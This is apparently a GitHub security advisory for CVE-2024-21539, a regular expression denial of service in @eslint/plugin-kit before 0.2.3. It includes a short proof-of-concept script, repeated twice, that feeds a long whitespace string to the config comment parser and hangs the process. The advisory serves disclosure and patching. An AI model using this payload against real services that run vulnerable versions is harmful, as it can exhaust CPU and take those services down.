Headline
GHSA-7q7g-4xm8-89cq: Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit
Crafting a very large and well crafted string can increase the CPU usage and crash the program.
POC
const { ConfigCommentParser } = require("@eslint/plugin-kit");
var str = "";
for (var i = 0; i < 1000000; i++) {
str += " ";
}
str += "A";
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")
// run `npm i @eslint/plugin-kit` and `node attack.js`
// then the program will stuck forever with high CPU usage
- GitHub Advisory Database
- GitHub Reviewed
- CVE-2024-21539
Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit
High severity GitHub Reviewed Published Nov 15, 2024 in eslint/rewrite • Updated Nov 15, 2024
Package
npm @eslint/plugin-kit (npm)
Affected versions
< 0.2.3
Crafting a very large and well crafted string can increase the CPU usage and crash the program.
POC
const { ConfigCommentParser } = require(“@eslint/plugin-kit”);
var str = ""; for (var i = 0; i < 1000000; i++) { str += " "; } str += "A";
console.log(“start”) var parser = new ConfigCommentParser(); console.log(parser.parseStringConfig(str, “”)); console.log(“end”)
// run `npm i @eslint/plugin-kit` and `node attack.js` // then the program will stuck forever with high CPU usage
References
- GHSA-7q7g-4xm8-89cq
- eslint/rewrite@071be84
Published to the GitHub Advisory Database
Nov 15, 2024
Last updated
Nov 15, 2024